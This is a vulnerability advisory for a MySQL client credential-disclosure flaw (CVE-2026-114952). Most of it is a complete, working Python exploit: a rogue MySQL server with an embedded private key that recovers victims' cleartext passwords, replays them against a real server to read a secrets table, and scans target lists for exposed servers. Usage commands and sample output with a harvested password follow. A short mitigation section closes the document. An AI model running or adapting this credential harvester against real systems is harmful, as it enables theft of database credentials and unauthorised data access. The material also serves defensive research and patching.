#Summary
CVE-2026-114952 is a critical authentication bypass in the MySQL client library affecting versions 8.4.0-8.4.13, 9.7.0-9.7.4, and 26.10 of MySQL Server and MySQL Cluster. An unauthenticated attacker with network access can harvest valid database credentials from client connections using the caching_sha2_password authentication plugin over unencrypted channels. CVSS 9.1 CRITICAL (AV:N/AC:L/PR:N/UI:N/C:H/I:H/A:N) - full read and write access to all data the compromised account can reach.
#Affected versions
- MySQL Server: 8.4.0 through 8.4.13
- MySQL Server: 9.7.0 through 9.7.4
- MySQL Server: 26.10
- MySQL Cluster: 8.0.0 through 8.0.50
- MySQL Cluster: 8.4.0 through 8.4.13
- MySQL Cluster: 9.7.0 through 9.7.4
- MySQL Cluster: 26.10
Default configuration affected: Yes. The vulnerable code path is triggered by default when clients connect to servers advertising caching_sha2_password over non-TLS channels.
#Root cause analysis
#The vulnerability
The MySQL client's caching_sha2_password and sha256_password authentication plugins contain a server-identity trust bypass (CWE-287). When a client connects to a MySQL server over an unencrypted channel and is driven to full authentication, the client requests an RSA public key from the server to encrypt the account password. The critical flaw: the client accepts and trusts whatever RSA public key the server returns, with no verification that the key belongs to the legitimate server.
#Vulnerable code path
In sql-common/client_authentication.cc, the function sha256_password_auth_client() handles password encryption on non-TLS connections:
int sha256_password_auth_client(MYSQL_PLUGIN_VIO *vio, MYSQL *mysql) {
const bool uses_password = mysql->passwd[0] != 0;
...
if (!connection_is_secure) {
/*
If no public key; request one from the server.
*/
if (public_key == nullptr) {
if (vio->write_packet(vio, (const unsigned char *)&request_public_key, 1))
return CR_ERROR;
int packet_len = 0;
unsigned char *packet;
if ((packet_len = vio->read_packet(vio, &packet)) == -1) return CR_ERROR;
BIO *bio = BIO_new_mem_buf(packet, packet_len);
public_key = PEM_read_bio_PUBKEY(bio, nullptr, nullptr, nullptr);
BIO_free(bio);
if (public_key == nullptr) { ERR_clear_error(); return CR_ERROR; }
got_public_key_from_server = true; // <-- key accepted with no identity check
}
...
memmove(passwd_scramble, mysql->passwd, passwd_len);
/* Obfuscate the plain text password with the session scramble */
xor_string(passwd_scramble, passwd_len - 1, (char *)scramble_pkt, SCRAMBLE_LENGTH);
/* Encrypt the password and send it to the server */
... EVP_PKEY_encrypt(..., public_key, ...) ...#How input reaches the sink
The attack chain flows through the network protocol itself:
- Client connects to what it believes is a legitimate MySQL server.
- Server (attacker or MITM) sends a greeting advertising
caching_sha2_passwordas the auth plugin. - Server sends a 20-byte scramble (server-chosen, used later for obfuscation).
- Client requests the server's RSA public key with a single byte
0x01or0x02. - Attacker's key: Server responds with an RSA public key the attacker controls.
- Client XORs the password with the scramble (light obfuscation only - the scramble is known to the server).
- Client RSA-encrypts the XORed password under the attacker's public key.
- Credential recovery: Attacker decrypts with its private key, XORs out the scramble it sent, and recovers the cleartext password byte-for-byte.
The attacker can then authenticate to the real server with the harvested credentials and access all data the compromised account can reach (Confidentiality and Integrity impacts).
#Why this is critical
- Network access only - no valid credentials needed from the attacker, no authentication required.
- Precondition is default -
caching_sha2_passwordis the default auth plugin in MySQL 8.0+. The plaintext path is reachable if the client does not enforce TLS. - Full credential disclosure - the recovered password is exact cleartext, not hashed or truncated.
- Data compromise - harvested credentials grant full read and write access to all protected data the account can access.
#Exploitation preconditions
#Client-side conditions (must be true)
- Victim is running a vulnerable MySQL client (the
mysqlCLI,mysqldump,mysqladmin, or any application linked against the vulnerable client library). - Client is configured with the account using
caching_sha2_password(the default for MySQL 8.0+). - Client does not enforce TLS (runs with
--ssl-mode=DISABLEDor equivalent).
#Network-level conditions (attacker must control)
- Attacker occupies the server side of the socket. This is achieved via:
- DNS spoofing: Client resolves the server hostname to the attacker's IP.
- ARP spoofing: Attacker intercepts the connection on the same network segment.
- Hostile proxy: Client is configured to route through a proxy the attacker controls.
- Attacker-influenced connection string: Client is given a connection string pointing to the attacker's listener (e.g., hardcoded, in a config file, or injected via command-line).
#Proof of concept
#exploit.py - MySQL Client Credential Harvester
The exploit is a rogue MySQL server (pure standard library, no third-party dependencies) that:
- Listens on port 3306 (or a configurable port).
- Sends a MySQL greeting advertising
caching_sha2_password. - Receives a client's HandshakeResponse and extracts the victim username.
- Sends
perform_full_authenticationto force the client off the cache path and onto the RSA path. - Receives the client's public-key request (
0x01or0x02). - Serves an attacker-controlled RSA public key (embedded static key pair).
- Receives the RSA-encrypted password blob.
- Decrypts with the private key and XORs out the scramble to recover cleartext.
- Optionally replays the credential against the genuine server and runs a query to prove data access.
#!/usr/bin/env python3
"""
CVE-2026-114952 - MySQL client caching_sha2_password credential disclosure (CWE-287)
Affected: Oracle MySQL client programs 8.4.0-8.4.13, 9.7.0-9.7.4, 26.10 (and MySQL Cluster)
Type: Improper Authentication / credential disclosure via rogue (MITM) server
Root cause
----------
On a connection that is NOT protected by TLS, the MySQL client's
caching_sha2_password / sha256_password plugin requests an RSA public key from
the counterparty and uses whatever PEM blob the counterparty returns, with no
verification that the key belongs to the legitimate server. The client then
sends the account password, lightly obfuscated by XOR-ing it with the
server-chosen scramble and RSA-encrypted under that unauthenticated key. An
active network attacker (DNS/ARP spoof, hostile proxy, attacker-influenced
connection string) who answers as the server with an RSA key pair it generated
recovers the victim's cleartext password byte-for-byte: decrypt with the private
key, XOR out the scramble it sent. Captured credentials then grant full read and
write access to all data the account can reach (CVSS C:H/I:H).
What this tool does
-------------------
It is the attacker side: a rogue MySQL server (credential harvester). It speaks
enough of the classic MySQL protocol to drive a victim client down the
caching_sha2_password full-authentication RSA path, serves its own RSA public
key, captures the encrypted password blob, and recovers the cleartext password.
Optionally it replays the harvested credential against a real MySQL server to
demonstrate the resulting data access.
Because the vulnerable component is the client, the "victim" is any vulnerable
client that connects to this listener (in a real engagement, redirected to it by
spoofing / a hostile network position). This tool makes no assumption about
Docker or target-side access - it is pure stdlib network I/O.
Usage
-----
# Harvester (single capture then exit), auto-replay harvested creds:
python exploit.py --host 0.0.0.0 --port 3306 \
--replay-host 10.0.0.9 --replay-port 3306
# Harvester only, serve forever:
python exploit.py --host 0.0.0.0 --port 3306 --serve-forever
# Exposure scan: which MySQL servers offer caching_sha2 over non-TLS
# (the precondition that leaves their clients harvestable):
python exploit.py --list targets.txt --workers 20 --port 3306
Standard class argument: --username (account expected/validated on capture).
"""
import argparse
import base64
import hashlib
import os
import socket
import struct
import sys
from urllib.parse import urlparse
CVE_ID = "CVE-2026-114952"
VULN_TYPE = "Auth Bypass / Credential Disclosure"
# ---------------------------------------------------------------------------
# Attacker-controlled RSA key pair (static so the tool is self-contained).
# The client encrypts the password under THIS key; we hold the private half.
# ---------------------------------------------------------------------------
_RSA_N = 23368363116674925338828831895161868600064231074909377687463735738319580431685670009847580429938326337079111397392178729902335896051970990755471392987341852862154264674287302636321248385207727579032621657838809055259235839786765379263211438423627165174483154629976631518170521342538302901482959711227417858188580099154684007618537529296746488479456415215897590938557366755990424505653233579637703393770770466722025761085801894360969975306306480015828385151715514263134628402053068555893406623419649203574769833582263993345265355996033844805286998117066451943576344315641812251484324189668074497057316273546122524569497
_RSA_D = 22021607734346146282650543324308360235286432262483836092249573816296401841111234566858210893891863139570104214458106998470608434016963370142940830842092754211615536052672289101106249908760383528099466157866927800369415833273275093814119328578409352292233084058583041069353363719962244033074257164127215571687866536050063125044383467728286091508709223677373848501418895171485785323575466838200292217164588734191443502093570040671158640283050639196244125517994398304846420137380913898181499929493840860337174262740520199892955679395844464171157200165684907833019814909491347538522238451616529374637458249433523266404353
_RSA_BYTES = 256
ROGUE_PUB_PEM = (
b"-----BEGIN PUBLIC KEY-----\n"
b"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuRzzrZZPnbvQUDV0zQ3A\n"
b"Chk1Yfj4Eka4nvQuw6yHUPwh4qXnjtO0ia6krX5lM9kv8UN8t8Ckhg/EpmPAeYWx\n"
b"XHL0Ln6Ler+HrWPkVRynB3gnAM9h+VNOafH5J0sN34sXLke7+1bhycTVXs+Tny12\n"
b"KZAb0/B0M7UnSNQ/Fb4z0vz0PEKnVfjOmkWTExq8vAqoHJ4k1SO3IoY54xrbQLP3\n"
b"XOP+GvBwU/NC2W/ansKL2YM+wmQ0XqfSZvCJpvejXXelbbdXHjyKtm/hvmgPCR3O\n"
b"TpMI6pyEPnABOT6c0PRCtVLpNCSQaIEvodM3TRc7Cr7GvNya/pNlE61ZruJimNMv\n"
b"mQIDAQAB\n"
b"-----END PUBLIC KEY-----\n"
)
# ---------------------------------------------------------------------------
# Output helpers (standard contract)
# ---------------------------------------------------------------------------
def header(host, port):
print("\n" + "=" * 60)
print(" ALIM EXPLOIT %s" % CVE_ID)
print(" Type: %s | Bind: %s:%s" % (VULN_TYPE, host, port))
print("=" * 60 + "\n")
def step(n, msg):
print("[STEP %d] %s" % (n, msg))
def section(label, content):
print("\n--- %s ---" % label)
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n" + "=" * 60)
print(" RESULT : %s" % ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: %s" % evidence)
print("=" * 60 + "\n")
sys.exit(0 if success else 1)
# ---------------------------------------------------------------------------
# Crypto primitives (pure stdlib: modular exponentiation + hashlib)
# ---------------------------------------------------------------------------
def _mgf1(seed, length, h=hashlib.sha1):
out = b""
counter = 0
while len(out) < length:
out += h(seed + struct.pack(">I", counter)).digest()
counter += 1
return out[:length]
def _xor(a, b):
return bytes(x ^ y for x, y in zip(a, b))
def _oaep_decode(em, hlen=20):
"""RSAES-OAEP (SHA-1, MGF1-SHA-1, empty label) decode - matches MySQL."""
lhash = hashlib.sha1(b"").digest()
masked_seed = em[1:1 + hlen]
masked_db = em[1 + hlen:]
seed = _xor(masked_seed, _mgf1(masked_db, hlen))
db = _xor(masked_db, _mgf1(seed, len(masked_db)))
if db[:hlen] != lhash:
raise ValueError("OAEP label hash mismatch")
i = hlen
while i < len(db) and db[i] == 0:
i += 1
if i >= len(db) or db[i] != 1:
raise ValueError("OAEP separator not found")
return db[i + 1:]
def _oaep_encode(msg, k, hlen=20):
lhash = hashlib.sha1(b"").digest()
ps = b"\x00" * (k - len(msg) - 2 * hlen - 2)
db = lhash + ps + b"\x01" + msg
seed = os.urandom(hlen)
masked_db = _xor(db, _mgf1(seed, k - hlen - 1))
masked_seed = _xor(seed, _mgf1(masked_db, hlen))
return b"\x00" + masked_seed + masked_db
def rogue_rsa_decrypt(ciphertext):
"""Decrypt a blob the victim encrypted under our rogue public key."""
m = pow(int.from_bytes(ciphertext, "big"), _RSA_D, _RSA_N)
em = m.to_bytes(_RSA_BYTES, "big")
return _oaep_decode(em)
# ---------------------------------------------------------------------------
# MySQL classic-protocol framing
# ---------------------------------------------------------------------------
def send_pkt(sock, payload, seq):
sock.sendall(struct.pack("<I", len(payload))[:3] + bytes([seq & 0xff]) + payload)
def recv_pkt(sock):
hdr = b""
while len(hdr) < 4:
d = sock.recv(4 - len(hdr))
if not d:
return None, None
hdr += d
ln = hdr[0] | (hdr[1] << 8) | (hdr[2] << 16)
body = b""
while len(body) < ln:
d = sock.recv(ln - len(body))
if not d:
return None, None
body += d
return body, hdr[3]
def _lenenc(v):
if v < 251:
return bytes([v])
if v < 65536:
return b"\xfc" + struct.pack("<H", v)
if v < 16777216:
return b"\xfd" + struct.pack("<I", v)[:3]
return b"\xfe" + struct.pack("<Q", v)
def _rd_lenenc(d, i):
f = d[i]
if f < 251:
return f, i + 1
if f == 0xfc:
return d[i + 1] | (d[i + 2] << 8), i + 3
if f == 0xfd:
return d[i + 1] | (d[i + 2] << 8) | (d[i + 3] << 16), i + 4
if f == 0xfe:
return int.from_bytes(d[i + 1:i + 9], "little"), i + 9
return 0, i + 1
# Server capability flags we advertise (no CLIENT_SSL -> stay on plaintext path).
_SRV_CAPS = (0x00000001 | 0x00000004 | 0x00000008 | 0x00000200 |
0x00002000 | 0x00008000 | 0x00080000 | 0x00200000)
# Client flags used by the replay client.
_CLI_FLAGS = (0x00000001 | 0x00000004 | 0x00000200 |
0x00008000 | 0x00080000 | 0x00200000)
# ---------------------------------------------------------------------------
# Rogue server: drive a victim client to disclose its password
# ---------------------------------------------------------------------------
def _build_greeting(scramble):
p = b"\x0a" + b"8.0.0-rogue\x00" + struct.pack("<I", 0x4d324f52)
p += scramble[:8] + b"\x00"
p += struct.pack("<H", _SRV_CAPS & 0xffff) + b"\x2d" + struct.pack("<H", 2)
p += struct.pack("<H", (_SRV_CAPS >> 16) & 0xffff) + bytes([21]) + b"\x00" * 10
p += scramble[8:] + b"\x00"
p += b"caching_sha2_password\x00"
return p
def _parse_client_user(resp):
"""Pull the username out of a HandshakeResponse41 for labeling."""
try:
i = 4 + 4 + 1 + 23
end = resp.index(b"\x00", i)
return resp[i:end].decode("latin1", "replace")
except Exception:
return "?"
def harvest_once(conn):
"""Run one rogue handshake. Returns (username, cleartext_password) or None."""
scramble = os.urandom(20)
send_pkt(conn, _build_greeting(scramble), 0)
resp, seq = recv_pkt(conn)
if resp is None:
return None
username = _parse_client_user(resp)
# Tell the client: perform full authentication (AuthMoreData 0x01, body 0x04).
send_pkt(conn, b"\x01\x04", seq + 1)
req, seq = recv_pkt(conn)
if req is None:
return None
# Client requests the server public key (caching_sha2 -> 0x02, sha256 -> 0x01).
if req[:1] not in (b"\x01", b"\x02"):
# Client sent a cleartext/other response instead of requesting a key.
return None
# Serve our attacker-controlled key as AuthMoreData.
send_pkt(conn, b"\x01" + ROGUE_PUB_PEM, seq + 1)
blob, seq = recv_pkt(conn)
if blob is None or len(blob) < 64:
return None
try:
dec = rogue_rsa_decrypt(blob)
except Exception:
return None
# Undo the scramble XOR obfuscation (scramble repeats across the buffer).
cleartext = _xor(dec, (scramble * ((len(dec) // 20) + 1))[:len(dec)])
password = cleartext.split(b"\x00", 1)[0].decode("latin1", "replace")
# Reject the client politely so it does not hang.
try:
send_pkt(conn, b"\xff\x15\x04#28000Access denied", seq + 1)
except Exception:
pass
return username, password
# ---------------------------------------------------------------------------
# Replay client: authenticate to a real server with harvested creds
# ---------------------------------------------------------------------------
def _caching_sha2_token(password, nonce):
if not password:
return b""
p1 = hashlib.sha256(password).digest()
p2 = hashlib.sha256(p1).digest()
p3 = hashlib.sha256(p2 + nonce).digest()
return _xor(p1, p3)
def _parse_pub_pem(pem):
b = b"".join(l for l in pem.splitlines() if b"-----" not in l)
der = base64.b64decode(b)
def dlen(d, i):
n = d[i]
i += 1
if n & 0x80:
k = n & 0x7f
n = int.from_bytes(d[i:i + k], "big")
i += k
return n, i
i = 0
assert der[i] == 0x30
_, i = dlen(der, i + 1)
assert der[i] == 0x30
al, i = dlen(der, i + 1)
i += al
assert der[i] == 0x03
_, i = dlen(der, i + 1)
i += 1 # unused-bits byte
assert der[i] == 0x30
_, i = dlen(der, i + 1)
assert der[i] == 0x02
nl, i = dlen(der, i + 1)
n = int.from_bytes(der[i:i + nl], "big")
i += nl
assert der[i] == 0x02
el, i = dlen(der, i + 1)
e = int.from_bytes(der[i:i + el], "big")
return n, e
def replay_login(host, port, user, password, query, timeout=8):
"""Authenticate with harvested creds and run one query. Returns rows (list)."""
conn = socket.create_connection((host, port), timeout=timeout)
try:
hs, seq = recv_pkt(conn)
if hs is None:
raise RuntimeError("no server greeting")
i = hs.index(b"\x00", 1) + 1 # past server version string
i += 4 # thread id
part1 = hs[i:i + 8]
i += 8 + 1 # scramble lo + filler
i += 2 + 1 + 2 + 2 # caps_lo + charset + status + caps_hi
apdl = hs[i]
i += 1 + 10
l2 = max(13, apdl - 8)
part2 = hs[i:i + l2]
nonce = (part1 + part2)[:20]
token = _caching_sha2_token(password.encode(), nonce)
resp = struct.pack("<I", _CLI_FLAGS) + struct.pack("<I", 16777216)
resp += b"\x2d" + b"\x00" * 23
resp += user.encode() + b"\x00"
resp += _lenenc(len(token)) + token
resp += b"caching_sha2_password\x00"
send_pkt(conn, resp, seq + 1)
while True:
p, seq = recv_pkt(conn)
if p is None:
raise RuntimeError("connection closed during auth")
t = p[0]
if t == 0x00:
break # OK - authenticated
if t == 0xff:
raise RuntimeError("auth error: %s" % p[3:].decode("latin1", "replace"))
if t == 0x01:
sig = p[1] if len(p) > 1 else 0
if sig == 0x03:
continue # fast-auth success -> OK follows
if sig == 0x04: # full auth, non-TLS -> RSA path
send_pkt(conn, b"\x02", seq + 1)
pk, seq = recv_pkt(conn)
pem = pk[1:] if pk[:1] == b"\x01" else pk
n, e = _parse_pub_pem(pem)
k = (n.bit_length() + 7) // 8
pw_nul = (password + "\x00").encode()
xored = _xor(pw_nul, (nonce * ((len(pw_nul) // 20) + 1))[:len(pw_nul)])
em = _oaep_encode(xored, k)
ct = pow(int.from_bytes(em, "big"), e, n)
send_pkt(conn, ct.to_bytes(k, "big"), seq + 1)
continue
raise RuntimeError("unexpected auth packet %r" % p[:4])
# Text-protocol query
send_pkt(conn, b"\x03" + query.encode(), 0)
cols, seq = recv_pkt(conn)
if cols[0] in (0x00, 0xff):
return []
ncols, _ = _rd_lenenc(cols, 0)
for _ in range(ncols):
recv_pkt(conn) # column definitions
recv_pkt(conn) # intermediate EOF (no DEPRECATE_EOF)
rows = []
while True:
r, seq = recv_pkt(conn)
if r is None or (r[0] == 0xfe and len(r) < 9):
break
vals = []
j = 0
while j < len(r):
if r[j] == 0xfb:
vals.append(None)
j += 1
continue
ln, j = _rd_lenenc(r, j)
vals.append(r[j:j + ln].decode("latin1", "replace"))
j += ln
rows.append(vals)
return rows
finally:
conn.close()
# ---------------------------------------------------------------------------
# Exposure scan (--list): which servers expose the harvestable precondition
# ---------------------------------------------------------------------------
def _try_exploit(host, port, use_tls=False, **kwargs):
"""Silent probe. Returns (success, evidence). Never prints or exits.
For a client-side CVE there is no server to 'exploit' directly, so scan
mode reports exposure: a MySQL server that offers caching_sha2_password
over a non-TLS channel will drive its clients down the vulnerable RSA
key-request path, leaving every client that connects to it harvestable.
"""
try:
conn = socket.create_connection((host, port), timeout=6)
except Exception as e:
return False, "unreachable (%s)" % e.__class__.__name__
try:
hs, _ = recv_pkt(conn)
if hs is None or not hs or hs[0] != 0x0a:
return False, "not a MySQL classic-protocol server"
default_plugin = ""
if b"caching_sha2_password" in hs:
default_plugin = "caching_sha2_password"
elif b"sha256_password" in hs:
default_plugin = "sha256_password"
if not default_plugin:
return False, "server does not offer sha2 RSA auth (not exposed)"
# Capability flags: CLIENT_SSL = 0x00000800. If the server does not
# force TLS, the plaintext RSA key-request path is reachable.
try:
i = hs.index(b"\x00", 1) + 1 + 4 + 8 + 1
caps = hs[i] | (hs[i + 1] << 8)
ssl = bool(caps & 0x0800)
except Exception:
ssl = False
tls_note = "TLS available but optional" if ssl else "no TLS advertised"
return True, "%s over non-TLS reachable (%s) - clients harvestable" % (
default_plugin, tls_note)
except Exception as e:
return False, "probe error (%s)" % e.__class__.__name__
finally:
conn.close()
def _parse_target(line, default_port, default_path="/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, **kwargs):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n" + "=" * 60)
print(" %s - Exposure Scan (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
print("=" * 60 + "\n")
success_count = 0
def probe(t):
host, port, use_tls, _ = t
label = "%s:%s" % (host, port)
ok, evidence = _try_exploit(host, port, use_tls)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %s - %s: %s" % (
"[+]" if ok else "[-]", label,
"Exposed" if ok else "Not exposed", evidence))
if ok:
success_count += 1
total = len(targets)
print("\n" + "=" * 60)
print(" SCAN COMPLETE %d exposed / %d not exposed (%d total)" % (
success_count, total - success_count, total))
print("=" * 60 + "\n")
sys.exit(0 if success_count > 0 else 1)
# ---------------------------------------------------------------------------
# Single-target mode: run the rogue harvester
# ---------------------------------------------------------------------------
def exploit(bind_host, bind_port, username, serve_forever,
replay_host, replay_port, replay_query, timeout):
header(bind_host, bind_port)
step(1, "Starting rogue MySQL server (caching_sha2_password credential harvester)")
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
srv.bind((bind_host, bind_port))
except Exception as e:
done(False, "could not bind %s:%s (%s)" % (bind_host, bind_port, e))
srv.listen(8)
srv.settimeout(timeout)
print(" Listening on %s:%s. Waiting for a vulnerable client to connect." % (bind_host, bind_port))
print(" (In an engagement the victim is redirected here via DNS/ARP spoof,")
print(" a hostile proxy, or an attacker-influenced connection string.)")
print(" Expected victim account: %s Timeout: %ss" % (username, timeout))
captured = None
while captured is None:
try:
conn, addr = srv.accept()
except socket.timeout:
section("SERVICE STATE", "No victim client connected within %ss." % timeout)
done(False, "No vulnerable client connected - nothing to harvest")
step(2, "Victim client connected from %s:%s - driving full-auth RSA path" % addr)
try:
result = harvest_once(conn)
except Exception as e:
result = None
print(" handshake error: %s" % e)
finally:
conn.close()
if result is None:
print(" Client did not take the vulnerable path (TLS, pinned key, or patched). Waiting...")
if not serve_forever:
# keep waiting for a conforming victim until timeout
continue
continue
captured = result
user, password = captured
step(3, "Recovered victim credential from the RSA-encrypted password blob")
section("HARVESTED CREDENTIAL",
"username : %s\npassword : %s" % (user, password))
if replay_host:
step(4, "Replaying harvested credential against real server %s:%s" % (replay_host, replay_port))
try:
rows = replay_login(replay_host, replay_port, user, password, replay_query)
if rows:
pretty = "\n".join(" | ".join("" if v is None else v for v in r) for r in rows)
else:
pretty = "(query returned no rows; authentication succeeded)"
section("AUTHENTICATED QUERY: %s" % replay_query, pretty)
done(True, "Credential '%s:%s' harvested and VALIDATED on %s:%s - read protected data" % (
user, password, replay_host, replay_port))
except Exception as e:
section("REPLAY RESULT", "Replay to %s:%s failed: %s" % (replay_host, replay_port, e))
done(True, "Credential '%s:%s' harvested from victim client (replay not confirmed: %s)" % (
user, password, e))
done(True, "Credential harvested from victim client - username '%s', password '%s'" % (user, password))
# ---------------------------------------------------------------------------
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Rogue-server bind interface (default 0.0.0.0 in harvester mode)")
target_grp.add_argument("--list", metavar="FILE", help="File of MySQL servers for exposure scan")
parser.add_argument("--port", type=int, default=3306, help="Listen/scan port (default: 3306)")
parser.add_argument("--username", default="app", help="Expected victim account, for labeling (default: app)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
parser.add_argument("--serve-forever", action="store_true", help="Keep harvesting instead of exiting on first capture")
parser.add_argument("--timeout", type=int, default=120, help="Seconds to wait for a victim client (default: 120)")
parser.add_argument("--replay-host", default=None, help="Real MySQL server to replay harvested creds against")
parser.add_argument("--replay-port", type=int, default=3306, help="Port for --replay-host (default: 3306)")
parser.add_argument("--replay-query", default="SELECT id,name,value FROM vault.secrets",
help="Query to run after replay login")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers)
else:
bind_host = args.host if args.host not in (None, "", "0", "default") else "0.0.0.0"
exploit(bind_host, args.port, args.username, args.serve_forever,
args.replay_host, args.replay_port, args.replay_query, args.timeout)#Usage
#Single-target harvest and replay (proves data access):
python exploit.py --host 0.0.0.0 --port 3306 --replay-host 10.0.0.9 --replay-port 3306Expected output on credential recovery:
[STEP 2] Victim client connected from 192.168.1.100:50254 - driving full-auth RSA path
[STEP 3] Recovered victim credential from the RSA-encrypted password blob
--- HARVESTED CREDENTIAL ---
username : app
password : S3cr3t-App-Pw!
---
[STEP 4] Replaying harvested credential against real server 10.0.0.9:3306
--- AUTHENTICATED QUERY: SELECT id,name,value FROM vault.secrets ---
1 | flag | CVE-2026-114952-protected-data
---
RESULT : SUCCESS
EVIDENCE: Credential 'app:S3cr3t-App-Pw!' harvested and VALIDATED on 10.0.0.9:3306#Exposure scan (find vulnerable MySQL servers):
python exploit.py --list mysql-servers.txt --workers 20 --port 3306This mode identifies which MySQL servers advertise caching_sha2_password over non-TLS (the precondition that exposes their clients to harvest).
#Exploitation notes
#Reliability
The exploit succeeds whenever:
- A vulnerable client connects with credentials using
caching_sha2_password. - The connection is not protected by TLS.
- The client did not pin a public key with
--server-public-key-path.
The exploit fails silently if the client enforces TLS, uses a pinned key, or is running a patched version.
#Impact
Successful exploitation yields:
- Cleartext password recovery: The exact account password, decrypted from the client's own encrypted blob.
- Authenticated database access: Full read and write access to all data the harvested account can reach.
- Chaining: Harvested credentials may be used for lateral movement, privilege escalation (if the account has elevated grants), or persistent backdoor access.
#Preconditions
An attacker needs:
- Network position or ability to redirect the victim's connection (DNS spoof, ARP spoof, proxy, hostile host entry, or attacker-influenced connection string).
- A vulnerable client version connecting to a server it believes is legitimate.
- The client to connect without enforcing TLS (default for many deployments).
#Mitigation during engagement
If you are defending, the safe configuration is:
- Enforce TLS: Configure clients with
--ssl-mode=REQUIREDor higher. - Pin the server key: Use
--server-public-key-path=/path/to/server-public-key.pemto pin the legitimate server's key (prevents the client from accepting the attacker's key). - Update: Patch to the first fixed release after 8.4.13, 9.7.4, or 26.10.
#References
- CVE: CVE-2026-114952 - NVD
- CWE: CWE-287 - Improper Authentication
- Oracle CSPU: https://www.oracle.com/security-alerts/cspunov2026.html (HTTP 403 to automated fetch; published 2026-11-17)
- TuxCare Analysis: https://tuxcare.com/blog/mysql-cve-2026-114952/ (researcher credit and confirmation of Oracle's silence)
- GitHub: MySQL Server Repository - Vulnerable source at tags
mysql-9.7.4,mysql-8.4.13, etc.
